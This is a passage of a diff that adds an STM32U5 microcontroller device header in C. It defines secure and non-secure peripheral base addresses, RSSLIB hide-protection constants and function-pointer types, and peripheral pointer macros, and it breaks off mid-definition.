non-secure base address */ +#define SRAM2_BASE_NS (0x20030000UL) /*!< SRAM2 (64 KB) non-secure base address */ +#define SRAM4_BASE_NS (0x28000000UL) /*!< SRAM4 (16 KB) non-secure base address */ +#define PERIPH_BASE_NS (0x40000000UL) /*!< Peripheral non-secure base address */ + +/* Peripheral memory map - Non secure */ +#define APB1PERIPH_BASE_NS PERIPH_BASE_NS +#define APB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00010000UL) +#define AHB1PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00020000UL) +#define AHB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x02020000UL) +#define APB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06000000UL) +#define AHB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06020000UL) + +/*!< APB1 Non secure peripherals */ +#define TIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x0000UL) +#define TIM3_BASE_NS (APB1PERIPH_BASE_NS + 0x0400UL) +#define TIM4_BASE_NS (APB1PERIPH_BASE_NS + 0x0800UL) +#define TIM5_BASE_NS (APB1PERIPH_BASE_NS + 0x0C00UL) +#define TIM6_BASE_NS (APB1PERIPH_BASE_NS + 0x1000UL) +#define TIM7_BASE_NS (APB1PERIPH_BASE_NS + 0x1400UL) +#define WWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x2C00UL) +#define IWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x3000UL) +#define SPI2_BASE_NS (APB1PERIPH_BASE_NS + 0x3800UL) +#define USART3_BASE_NS (APB1PERIPH_BASE_NS + 0x4800UL) +#define UART4_BASE_NS (APB1PERIPH_BASE_NS + 0x4C00UL) +#define UART5_BASE_NS (APB1PERIPH_BASE_NS + 0x5000UL) +#define I2C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5400UL) +#define I2C2_BASE_NS (APB1PERIPH_BASE_NS + 0x5800UL) +#define CRS_BASE_NS (APB1PERIPH_BASE_NS + 0x6000UL) +#define I2C4_BASE_NS (APB1PERIPH_BASE_NS + 0x8400UL) +#define LPTIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x9400UL) +#define FDCAN1_BASE_NS (APB1PERIPH_BASE_NS + 0xA400UL) +#define FDCAN_CONFIG_BASE_NS (APB1PERIPH_BASE_NS + 0xA500UL) +#define SRAMCAN_BASE_NS (APB1PERIPH_BASE_NS + 0xAC00UL) + +/*!< APB2 Non secure peripherals */ +#define TIM1_BASE_NS (APB2PERIPH_BASE_NS + 0x2C00UL) +#define SPI1_BASE_NS (APB2PERIPH_BASE_NS + 0x3000UL) +#define TIM8_BASE_NS (APB2PERIPH_BASE_NS + 0x3400UL) +#define USART1_BASE_NS (APB2PERIPH_BASE_NS + 0x3800UL) +#define TIM15_BASE_NS (APB2PERIPH_BASE_NS + 0x4000UL) +#define TIM16_BASE_NS (APB2PERIPH_BASE_NS + 0x4400UL) +#define TIM17_BASE_NS (APB2PERIPH_BASE_NS + 0x4800UL) +#define SAI1_BASE_NS (APB2PERIPH_BASE_NS + 0x5400UL) +#define SAI1_Block_A_BASE_NS (SAI1_BASE_NS + 0x004UL) +#define SAI1_Block_B_BASE_NS (SAI1_BASE_NS + 0x024UL) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_BASE_NS (APB3PERIPH_BASE_NS + 0x0400UL) +#define SPI3_BASE_NS (APB3PERIPH_BASE_NS + 0x2000UL) +#define LPUART1_BASE_NS (APB3PERIPH_BASE_NS + 0x2400UL) +#define I2C3_BASE_NS (APB3PERIPH_BASE_NS + 0x2800UL) +#define LPTIM1_BASE_NS (APB3PERIPH_BASE_NS + 0x4400UL) +#define LPTIM3_BASE_NS (APB3PERIPH_BASE_NS + 0x4800UL) +#define LPTIM4_BASE_NS (APB3PERIPH_BASE_NS + 0x4C00UL) +#define OPAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP1_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define COMP12_BASE_NS (APB3PERIPH_BASE_NS + 0x5400UL) +#define COMP1_BASE_NS (COMP12_BASE_NS) +#define VREFBUF_BASE_NS (APB3PERIPH_BASE_NS + 0x7400UL) +#define RTC_BASE_NS (APB3PERIPH_BASE_NS + 0x7800UL) +#define TAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x7C00UL) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_BASE_NS (AHB1PERIPH_BASE_NS) +#define GPDMA1_Channel0_BASE_NS (GPDMA1_BASE_NS + 0x0050UL) +#define GPDMA1_Channel1_BASE_NS (GPDMA1_BASE_NS + 0x00D0UL) +#define GPDMA1_Channel2_BASE_NS (GPDMA1_BASE_NS + 0x0150UL) +#define GPDMA1_Channel3_BASE_NS (GPDMA1_BASE_NS + 0x01D0UL) +#define GPDMA1_Channel4_BASE_NS (GPDMA1_BASE_NS + 0x0250UL) +#define GPDMA1_Channel5_BASE_NS (GPDMA1_BASE_NS + 0x02D0UL) +#define GPDMA1_Channel6_BASE_NS (GPDMA1_BASE_NS + 0x0350UL) +#define GPDMA1_Channel7_BASE_NS (GPDMA1_BASE_NS + 0x03D0UL) +#define GPDMA1_Channel8_BASE_NS (GPDMA1_BASE_NS + 0x0450UL) +#define GPDMA1_Channel9_BASE_NS (GPDMA1_BASE_NS + 0x04D0UL) +#define GPDMA1_Channel10_BASE_NS (GPDMA1_BASE_NS + 0x0550UL) +#define GPDMA1_Channel11_BASE_NS (GPDMA1_BASE_NS + 0x05D0UL) +#define GPDMA1_Channel12_BASE_NS (GPDMA1_BASE_NS + 0x0650UL) +#define GPDMA1_Channel13_BASE_NS (GPDMA1_BASE_NS + 0x06D0UL) +#define GPDMA1_Channel14_BASE_NS (GPDMA1_BASE_NS + 0x0750UL) +#define GPDMA1_Channel15_BASE_NS (GPDMA1_BASE_NS + 0x07D0UL) +#define CORDIC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01000UL) +#define FMAC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01400UL) +#define FLASH_R_BASE_NS (AHB1PERIPH_BASE_NS + 0x02000UL) +#define CRC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03000UL) +#define TSC_BASE_NS (AHB1PERIPH_BASE_NS + 0x04000UL) +#define MDF1_BASE_NS (AHB1PERIPH_BASE_NS + 0x05000UL) +#define MDF1_Filter0_BASE_NS (MDF1_BASE_NS + 0x80UL) +#define MDF1_Filter1_BASE_NS (MDF1_BASE_NS + 0x100UL) +#define MDF1_Filter2_BASE_NS (MDF1_BASE_NS + 0x180UL) +#define MDF1_Filter3_BASE_NS (MDF1_BASE_NS + 0x200UL) +#define MDF1_Filter4_BASE_NS (MDF1_BASE_NS + 0x280UL) +#define MDF1_Filter5_BASE_NS (MDF1_BASE_NS + 0x300UL) +#define RAMCFG_BASE_NS (AHB1PERIPH_BASE_NS + 0x06000UL) +#define RAMCFG_SRAM1_BASE_NS (RAMCFG_BASE_NS) +#define RAMCFG_SRAM2_BASE_NS (RAMCFG_BASE_NS + 0x0040UL) +#define RAMCFG_SRAM4_BASE_NS (RAMCFG_BASE_NS + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_NS (RAMCFG_BASE_NS + 0x0100UL) +#define ICACHE_BASE_NS (AHB1PERIPH_BASE_NS + 0x10400UL) +#define DCACHE1_BASE_NS (AHB1PERIPH_BASE_NS + 0x11400UL) +#define GTZC_TZSC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12400UL) +#define GTZC_TZIC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12800UL) +#define GTZC_MPCBB1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12C00UL) +#define GTZC_MPCBB2_BASE_NS (AHB1PERIPH_BASE_NS + 0x13000UL) +#define BKPSRAM_BASE_NS (AHB1PERIPH_BASE_NS + 0x16400UL) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_BASE_NS (AHB2PERIPH_BASE_NS + 0x00000UL) +#define GPIOB_BASE_NS (AHB2PERIPH_BASE_NS + 0x00400UL) +#define GPIOC_BASE_NS (AHB2PERIPH_BASE_NS + 0x00800UL) +#define GPIOD_BASE_NS (AHB2PERIPH_BASE_NS + 0x00C00UL) +#define GPIOE_BASE_NS (AHB2PERIPH_BASE_NS + 0x01000UL) +#define GPIOG_BASE_NS (AHB2PERIPH_BASE_NS + 0x01800UL) +#define GPIOH_BASE_NS (AHB2PERIPH_BASE_NS + 0x01C00UL) +#define ADC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08000UL) +#define ADC12_COMMON_BASE_NS (AHB2PERIPH_BASE_NS + 0x08308UL) +#define DCMI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C000UL) +#define PSSI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C400UL) +#define USB_DRD_BASE_NS (APB2PERIPH_BASE_NS + 0x06000UL) +#define USB_DRD_PMAADDR_NS (APB2PERIPH_BASE_NS + 0x06400UL) +#define AES_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0000UL) +#define HASH_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0400UL) +#define HASH_DIGEST_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0710UL) +#define RNG_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0800UL) +#define SAES_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0C00UL) +#define PKA_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2000UL) +#define PKA_RAM_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2400UL) +#define OTFDEC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA5000UL) +#define OTFDEC1_REGION1_BASE_NS (OTFDEC1_BASE_NS + 0x20UL) +#define OTFDEC1_REGION2_BASE_NS (OTFDEC1_BASE_NS + 0x50UL) +#define OTFDEC1_REGION3_BASE_NS (OTFDEC1_BASE_NS + 0x80UL) +#define OTFDEC1_REGION4_BASE_NS (OTFDEC1_BASE_NS + 0xB0UL) +#define SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8000UL) +#define DLYB_SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8400UL) +#define DLYB_OCTOSPI1_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF000UL) +#define OCTOSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_BASE_NS (AHB3PERIPH_BASE_NS) +#define PWR_BASE_NS (AHB3PERIPH_BASE_NS + 0x0800UL) +#define RCC_BASE_NS (AHB3PERIPH_BASE_NS + 0x0C00UL) +#define ADC4_BASE_NS (AHB3PERIPH_BASE_NS + 0x1000UL) +#define ADC4_COMMON_BASE_NS (AHB3PERIPH_BASE_NS + 0x1308UL) +#define DAC1_BASE_NS (AHB3PERIPH_BASE_NS + 0x1800UL) +#define EXTI_BASE_NS (AHB3PERIPH_BASE_NS + 0x2000UL) +#define GTZC_TZSC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3000UL) +#define GTZC_TZIC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3400UL) +#define GTZC_MPCBB4_BASE_NS (AHB3PERIPH_BASE_NS + 0x3800UL) +#define ADF1_BASE_NS (AHB3PERIPH_BASE_NS + 0x4000UL) +#define ADF1_Filter0_BASE_NS (ADF1_BASE_NS + 0x80UL) +#define LPDMA1_BASE_NS (AHB3PERIPH_BASE_NS + 0x5000UL) +#define LPDMA1_Channel0_BASE_NS (LPDMA1_BASE_NS + 0x0050UL) +#define LPDMA1_Channel1_BASE_NS (LPDMA1_BASE_NS + 0x00D0UL) +#define LPDMA1_Channel2_BASE_NS (LPDMA1_BASE_NS + 0x0150UL) +#define LPDMA1_Channel3_BASE_NS (LPDMA1_BASE_NS + 0x01D0UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Secure */ +#define FLASH_BASE_S (0x0C000000UL) /*!< FLASH (up to 2 MB) secure base address */ +#define SRAM1_BASE_S (0x30000000UL) /*!< SRAM1 (192 KB) secure base address */ +#define SRAM2_BASE_S (0x30030000UL) /*!< SRAM2 (64 KB) secure base address */ +#define SRAM4_BASE_S (0x38000000UL) /*!< SRAM4 (16 KB) secure base address */ +#define PERIPH_BASE_S (0x50000000UL) /*!< Peripheral secure base address */ + +/* Peripheral memory map - Secure */ +#define APB1PERIPH_BASE_S PERIPH_BASE_S +#define APB2PERIPH_BASE_S (PERIPH_BASE_S + 0x00010000UL) +#define AHB1PERIPH_BASE_S (PERIPH_BASE_S + 0x00020000UL) +#define AHB2PERIPH_BASE_S (PERIPH_BASE_S + 0x02020000UL) +#define APB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06000000UL) +#define AHB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06020000UL) + +/*!< APB1 Secure peripherals */ +#define TIM2_BASE_S (APB1PERIPH_BASE_S + 0x0000UL) +#define TIM3_BASE_S (APB1PERIPH_BASE_S + 0x0400UL) +#define TIM4_BASE_S (APB1PERIPH_BASE_S + 0x0800UL) +#define TIM5_BASE_S (APB1PERIPH_BASE_S + 0x0C00UL) +#define TIM6_BASE_S (APB1PERIPH_BASE_S + 0x1000UL) +#define TIM7_BASE_S (APB1PERIPH_BASE_S + 0x1400UL) +#define WWDG_BASE_S (APB1PERIPH_BASE_S + 0x2C00UL) +#define IWDG_BASE_S (APB1PERIPH_BASE_S + 0x3000UL) +#define SPI2_BASE_S (APB1PERIPH_BASE_S + 0x3800UL) +#define USART3_BASE_S (APB1PERIPH_BASE_S + 0x4800UL) +#define UART4_BASE_S (APB1PERIPH_BASE_S + 0x4C00UL) +#define UART5_BASE_S (APB1PERIPH_BASE_S + 0x5000UL) +#define I2C1_BASE_S (APB1PERIPH_BASE_S + 0x5400UL) +#define I2C2_BASE_S (APB1PERIPH_BASE_S + 0x5800UL) +#define I2C4_BASE_S (APB1PERIPH_BASE_S + 0x8400UL) +#define CRS_BASE_S (APB1PERIPH_BASE_S + 0x6000UL) +#define LPTIM2_BASE_S (APB1PERIPH_BASE_S + 0x9400UL) +#define FDCAN1_BASE_S (APB1PERIPH_BASE_S + 0xA400UL) +#define FDCAN_CONFIG_BASE_S (APB1PERIPH_BASE_S + 0xA500UL) +#define SRAMCAN_BASE_S (APB1PERIPH_BASE_S + 0xAC00UL) + +/*!< APB2 Secure peripherals */ +#define TIM1_BASE_S (APB2PERIPH_BASE_S + 0x2C00UL) +#define SPI1_BASE_S (APB2PERIPH_BASE_S + 0x3000UL) +#define TIM8_BASE_S (APB2PERIPH_BASE_S + 0x3400UL) +#define USART1_BASE_S (APB2PERIPH_BASE_S + 0x3800UL) +#define TIM15_BASE_S (APB2PERIPH_BASE_S + 0x4000UL) +#define TIM16_BASE_S (APB2PERIPH_BASE_S + 0x4400UL) +#define TIM17_BASE_S (APB2PERIPH_BASE_S + 0x4800UL) +#define SAI1_BASE_S (APB2PERIPH_BASE_S + 0x5400UL) +#define SAI1_Block_A_BASE_S (SAI1_BASE_S + 0x004UL) +#define SAI1_Block_B_BASE_S (SAI1_BASE_S + 0x024UL) + +/*!< APB3 Secure peripherals */ +#define SYSCFG_BASE_S (APB3PERIPH_BASE_S + 0x0400UL) +#define SPI3_BASE_S (APB3PERIPH_BASE_S + 0x2000UL) +#define LPUART1_BASE_S (APB3PERIPH_BASE_S + 0x2400UL) +#define I2C3_BASE_S (APB3PERIPH_BASE_S + 0x2800UL) +#define LPTIM1_BASE_S (APB3PERIPH_BASE_S + 0x4400UL) +#define LPTIM3_BASE_S (APB3PERIPH_BASE_S + 0x4800UL) +#define LPTIM4_BASE_S (APB3PERIPH_BASE_S + 0x4C00UL) +#define OPAMP_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP1_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define COMP12_BASE_S (APB3PERIPH_BASE_S + 0x5400UL) +#define COMP1_BASE_S (COMP12_BASE_S) +#define VREFBUF_BASE_S (APB3PERIPH_BASE_S + 0x7400UL) +#define RTC_BASE_S (APB3PERIPH_BASE_S + 0x7800UL) +#define TAMP_BASE_S (APB3PERIPH_BASE_S + 0x7C00UL) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_BASE_S (AHB1PERIPH_BASE_S) +#define GPDMA1_Channel0_BASE_S (GPDMA1_BASE_S + 0x0050UL) +#define GPDMA1_Channel1_BASE_S (GPDMA1_BASE_S + 0x00D0UL) +#define GPDMA1_Channel2_BASE_S (GPDMA1_BASE_S + 0x0150UL) +#define GPDMA1_Channel3_BASE_S (GPDMA1_BASE_S + 0x01D0UL) +#define GPDMA1_Channel4_BASE_S (GPDMA1_BASE_S + 0x0250UL) +#define GPDMA1_Channel5_BASE_S (GPDMA1_BASE_S + 0x02D0UL) +#define GPDMA1_Channel6_BASE_S (GPDMA1_BASE_S + 0x0350UL) +#define GPDMA1_Channel7_BASE_S (GPDMA1_BASE_S + 0x03D0UL) +#define GPDMA1_Channel8_BASE_S (GPDMA1_BASE_S + 0x0450UL) +#define GPDMA1_Channel9_BASE_S (GPDMA1_BASE_S + 0x04D0UL) +#define GPDMA1_Channel10_BASE_S (GPDMA1_BASE_S + 0x0550UL) +#define GPDMA1_Channel11_BASE_S (GPDMA1_BASE_S + 0x05D0UL) +#define GPDMA1_Channel12_BASE_S (GPDMA1_BASE_S + 0x0650UL) +#define GPDMA1_Channel13_BASE_S (GPDMA1_BASE_S + 0x06D0UL) +#define GPDMA1_Channel14_BASE_S (GPDMA1_BASE_S + 0x0750UL) +#define GPDMA1_Channel15_BASE_S (GPDMA1_BASE_S + 0x07D0UL) +#define CORDIC_BASE_S (AHB1PERIPH_BASE_S + 0x01000UL) +#define FMAC_BASE_S (AHB1PERIPH_BASE_S + 0x01400UL) +#define FLASH_R_BASE_S (AHB1PERIPH_BASE_S + 0x02000UL) +#define CRC_BASE_S (AHB1PERIPH_BASE_S + 0x03000UL) +#define TSC_BASE_S (AHB1PERIPH_BASE_S + 0x04000UL) +#define MDF1_BASE_S (AHB1PERIPH_BASE_S + 0x05000UL) +#define MDF1_Filter0_BASE_S (MDF1_BASE_S + 0x80UL) +#define MDF1_Filter1_BASE_S (MDF1_BASE_S + 0x100UL) +#define MDF1_Filter2_BASE_S (MDF1_BASE_S + 0x180UL) +#define MDF1_Filter3_BASE_S (MDF1_BASE_S + 0x200UL) +#define MDF1_Filter4_BASE_S (MDF1_BASE_S + 0x280UL) +#define MDF1_Filter5_BASE_S (MDF1_BASE_S + 0x300UL) +#define RAMCFG_BASE_S (AHB1PERIPH_BASE_S + 0x06000UL) +#define RAMCFG_SRAM1_BASE_S (RAMCFG_BASE_S) +#define RAMCFG_SRAM2_BASE_S (RAMCFG_BASE_S + 0x0040UL) +#define RAMCFG_SRAM4_BASE_S (RAMCFG_BASE_S + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_S (RAMCFG_BASE_S + 0x0100UL) +#define ICACHE_BASE_S (AHB1PERIPH_BASE_S + 0x10400UL) +#define DCACHE1_BASE_S (AHB1PERIPH_BASE_S + 0x11400UL) +#define GTZC_TZSC1_BASE_S (AHB1PERIPH_BASE_S + 0x12400UL) +#define GTZC_TZIC1_BASE_S (AHB1PERIPH_BASE_S + 0x12800UL) +#define GTZC_MPCBB1_BASE_S (AHB1PERIPH_BASE_S + 0x12C00UL) +#define GTZC_MPCBB2_BASE_S (AHB1PERIPH_BASE_S + 0x13000UL) +#define BKPSRAM_BASE_S (AHB1PERIPH_BASE_S + 0x16400UL) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_BASE_S (AHB2PERIPH_BASE_S + 0x00000UL) +#define GPIOB_BASE_S (AHB2PERIPH_BASE_S + 0x00400UL) +#define GPIOC_BASE_S (AHB2PERIPH_BASE_S + 0x00800UL) +#define GPIOD_BASE_S (AHB2PERIPH_BASE_S + 0x00C00UL) +#define GPIOE_BASE_S (AHB2PERIPH_BASE_S + 0x01000UL) +#define GPIOG_BASE_S (AHB2PERIPH_BASE_S + 0x01800UL) +#define GPIOH_BASE_S (AHB2PERIPH_BASE_S + 0x01C00UL) +#define ADC1_BASE_S (AHB2PERIPH_BASE_S + 0x08000UL) +#define ADC12_COMMON_BASE_S (AHB2PERIPH_BASE_S + 0x08308UL) +#define DCMI_BASE_S (AHB2PERIPH_BASE_S + 0x0C000UL) +#define PSSI_BASE_S (AHB2PERIPH_BASE_S + 0x0C400UL) +#define USB_DRD_BASE_S (APB2PERIPH_BASE_S + 0x06000UL) +#define USB_DRD_PMAADDR_S (APB2PERIPH_BASE_S + 0x06400UL) +#define AES_BASE_S (AHB2PERIPH_BASE_S + 0xA0000UL) +#define HASH_BASE_S (AHB2PERIPH_BASE_S + 0xA0400UL) +#define HASH_DIGEST_BASE_S (AHB2PERIPH_BASE_S + 0xA0710UL) +#define RNG_BASE_S (AHB2PERIPH_BASE_S + 0xA0800UL) +#define SAES_BASE_S (AHB2PERIPH_BASE_S + 0xA0C00UL) +#define PKA_BASE_S (AHB2PERIPH_BASE_S + 0xA2000UL) +#define PKA_RAM_BASE_S (AHB2PERIPH_BASE_S + 0xA2400UL) +#define OTFDEC1_BASE_S (AHB2PERIPH_BASE_S + 0xA5000UL) +#define OTFDEC1_REGION1_BASE_S (OTFDEC1_BASE_S + 0x20UL) +#define OTFDEC1_REGION2_BASE_S (OTFDEC1_BASE_S + 0x50UL) +#define OTFDEC1_REGION3_BASE_S (OTFDEC1_BASE_S + 0x80UL) +#define OTFDEC1_REGION4_BASE_S (OTFDEC1_BASE_S + 0xB0UL) +#define SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8000UL) +#define DLYB_SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8400UL) +#define DLYB_OCTOSPI1_BASE_S (AHB2PERIPH_BASE_S + 0xAF000UL) +#define OCTOSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_BASE_S (AHB3PERIPH_BASE_S) +#define PWR_BASE_S (AHB3PERIPH_BASE_S + 0x0800UL) +#define RCC_BASE_S (AHB3PERIPH_BASE_S + 0x0C00UL) +#define ADC4_BASE_S (AHB3PERIPH_BASE_S + 0x1000UL) +#define ADC4_COMMON_BASE_S (AHB3PERIPH_BASE_S + 0x1308UL) +#define DAC1_BASE_S (AHB3PERIPH_BASE_S + 0x1800UL) +#define EXTI_BASE_S (AHB3PERIPH_BASE_S + 0x2000UL) +#define GTZC_TZSC2_BASE_S (AHB3PERIPH_BASE_S + 0x3000UL) +#define GTZC_TZIC2_BASE_S (AHB3PERIPH_BASE_S + 0x3400UL) +#define GTZC_MPCBB4_BASE_S (AHB3PERIPH_BASE_S + 0x3800UL) +#define ADF1_BASE_S (AHB3PERIPH_BASE_S + 0x4000UL) +#define ADF1_Filter0_BASE_S (ADF1_BASE_S + 0x80UL) +#define LPDMA1_BASE_S (AHB3PERIPH_BASE_S + 0x5000UL) +#define LPDMA1_Channel0_BASE_S (LPDMA1_BASE_S + 0x0050UL) +#define LPDMA1_Channel1_BASE_S (LPDMA1_BASE_S + 0x00D0UL) +#define LPDMA1_Channel2_BASE_S (LPDMA1_BASE_S + 0x0150UL) +#define LPDMA1_Channel3_BASE_S (LPDMA1_BASE_S + 0x01D0UL) + + +/* Debug MCU registers base address */ +#define DBGMCU_BASE (0xE0044000UL) +#define PACKAGE_BASE (0x0BFA0500UL) /*!< Package data register base address */ +#define UID_BASE (0x0BFA0700UL) /*!< Unique device ID register base address */ +#define FLASHSIZE_BASE (0x0BFA07A0UL) /*!< Flash size data register base address */ + +/* Internal Flash OTP Area */ +#define FLASH_OTP_BASE (0x0BFA0000UL) /*!< FLASH OTP (one-time programmable) base address */ +#define FLASH_OTP_SIZE (0x200U) /*!< 512 bytes OTP (one-time programmable) */ + + +/*!< Root Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define RSSLIB_SYS_FLASH_NS_PFUNC_START (0x0BF99E40UL) +#define RSSLIB_SYS_FLASH_NS_PFUNC_END (0x0BF99EFFUL) + +/************ RSSLIB function return constants ********************************/ +#define RSSLIB_ERROR (0xF5F5F5F5UL) +#define RSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define RSSLIB_PFUNC_BASE RSSLIB_SYS_FLASH_NS_PFUNC_START +#define RSSLIB_PFUNC ((RSSLIB_pFunc_TypeDef *)RSSLIB_PFUNC_BASE) + +/*!< HDP Area constant definition */ +#define RSSLIB_HDP_AREA_Pos (0UL) +#define RSSLIB_HDP_AREA_Msk (0x3UL << RSSLIB_HDP_AREA_Pos ) +#define RSSLIB_HDP_AREA1_Pos (0UL) +#define RSSLIB_HDP_AREA1_Msk (0x1UL << RSSLIB_HDP_AREA1_Pos ) +#define RSSLIB_HDP_AREA2_Pos (1UL) +#define RSSLIB_HDP_AREA2_Msk (0x1UL << RSSLIB_HDP_AREA2_Pos ) + +/** + * @brief Prototype of RSSLIB Close and exit HDP Function + * @detail This function close the requested hdp area passed in input + * parameter and jump to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param HdpArea notifies which hdp area to close, can be a combination of + * hdpa area 1 and hdp area 2 + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t ( *RSSLIB_S_CloseExitHDP_TypeDef)( uint32_t HdpArea, uint32_t VectorTableAddr ); + + +/** + * @brief RSSLib non-secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved[8]; +}NSC_pFuncTypeDef; + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved2[2]; + __IM RSSLIB_S_CloseExitHDP_TypeDef CloseExitHDP; /*!< RSSLIB Bootloader Close and exit HDP Address offset: 0x28 */ +}S_pFuncTypeDef; + +/** + * @brief RSSLib function pointer structure + */ +typedef struct +{ + NSC_pFuncTypeDef NSC; + S_pFuncTypeDef S; +}RSSLIB_pFunc_TypeDef; + +/** @} */ /* End of group STM32U5xx_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_declaration + * @{ + */ + +/*!< APB1 Non secure peripherals */ +#define TIM2_NS ((TIM_TypeDef *) TIM2_BASE_NS) +#define TIM3_NS ((TIM_TypeDef *) TIM3_BASE_NS) +#define TIM4_NS ((TIM_TypeDef *) TIM4_BASE_NS) +#define TIM5_NS ((TIM_TypeDef *) TIM5_BASE_NS) +#define TIM6_NS ((TIM_TypeDef *) TIM6_BASE_NS) +#define TIM7_NS ((TIM_TypeDef *) TIM7_BASE_NS) +#define WWDG_NS ((WWDG_TypeDef *) WWDG_BASE_NS) +#define IWDG_NS ((IWDG_TypeDef *) IWDG_BASE_NS) +#define SPI2_NS ((SPI_TypeDef *) SPI2_BASE_NS) +#define USART3_NS ((USART_TypeDef *) USART3_BASE_NS) +#define UART4_NS ((USART_TypeDef *) UART4_BASE_NS) +#define UART5_NS ((USART_TypeDef *) UART5_BASE_NS) +#define I2C1_NS ((I2C_TypeDef *) I2C1_BASE_NS) +#define I2C2_NS ((I2C_TypeDef *) I2C2_BASE_NS) +#define CRS_NS ((CRS_TypeDef *) CRS_BASE_NS) +#define I2C4_NS ((I2C_TypeDef *) I2C4_BASE_NS) +#define LPTIM2_NS ((LPTIM_TypeDef *) LPTIM2_BASE_NS) +#define FDCAN1_NS ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_NS) +#define FDCAN_CONFIG_NS ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_NS) + +/*!< APB2 Non secure peripherals */ +#define TIM1_NS ((TIM_TypeDef *) TIM1_BASE_NS) +#define SPI1_NS ((SPI_TypeDef *) SPI1_BASE_NS) +#define TIM8_NS ((TIM_TypeDef *) TIM8_BASE_NS) +#define USART1_NS ((USART_TypeDef *) USART1_BASE_NS) +#define TIM15_NS ((TIM_TypeDef *) TIM15_BASE_NS) +#define TIM16_NS ((TIM_TypeDef *) TIM16_BASE_NS) +#define TIM17_NS ((TIM_TypeDef *) TIM17_BASE_NS) +#define SAI1_NS ((SAI_TypeDef *) SAI1_BASE_NS) +#define SAI1_Block_A_NS ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_NS) +#define SAI1_Block_B_NS ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_NS) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_NS ((SYSCFG_TypeDef *) SYSCFG_BASE_NS) +#define SPI3_NS ((SPI_TypeDef *) SPI3_BASE_NS) +#define LPUART1_NS ((USART_TypeDef *) LPUART1_BASE_NS) +#define I2C3_NS ((I2C_TypeDef *) I2C3_BASE_NS) +#define LPTIM1_NS ((LPTIM_TypeDef *) LPTIM1_BASE_NS) +#define LPTIM3_NS ((LPTIM_TypeDef *) LPTIM3_BASE_NS) +#define LPTIM4_NS ((LPTIM_TypeDef *) LPTIM4_BASE_NS) +#define OPAMP_NS ((OPAMP_TypeDef *) OPAMP_BASE_NS) +#define OPAMP1_NS ((OPAMP_TypeDef *) OPAMP1_BASE_NS) +#define OPAMP12_COMMON_NS ((OPAMP_Common_TypeDef *) OPAMP1_BASE_NS) +#define COMP12_NS ((COMP_TypeDef *) COMP12_BASE_NS) +#define COMP1_NS ((COMP_TypeDef *) COMP1_BASE_NS) +#define COMP12_COMMON_NS ((COMP_Common_TypeDef *) COMP1_BASE_NS) +#define VREFBUF_NS ((VREFBUF_TypeDef *) VREFBUF_BASE_NS) +#define 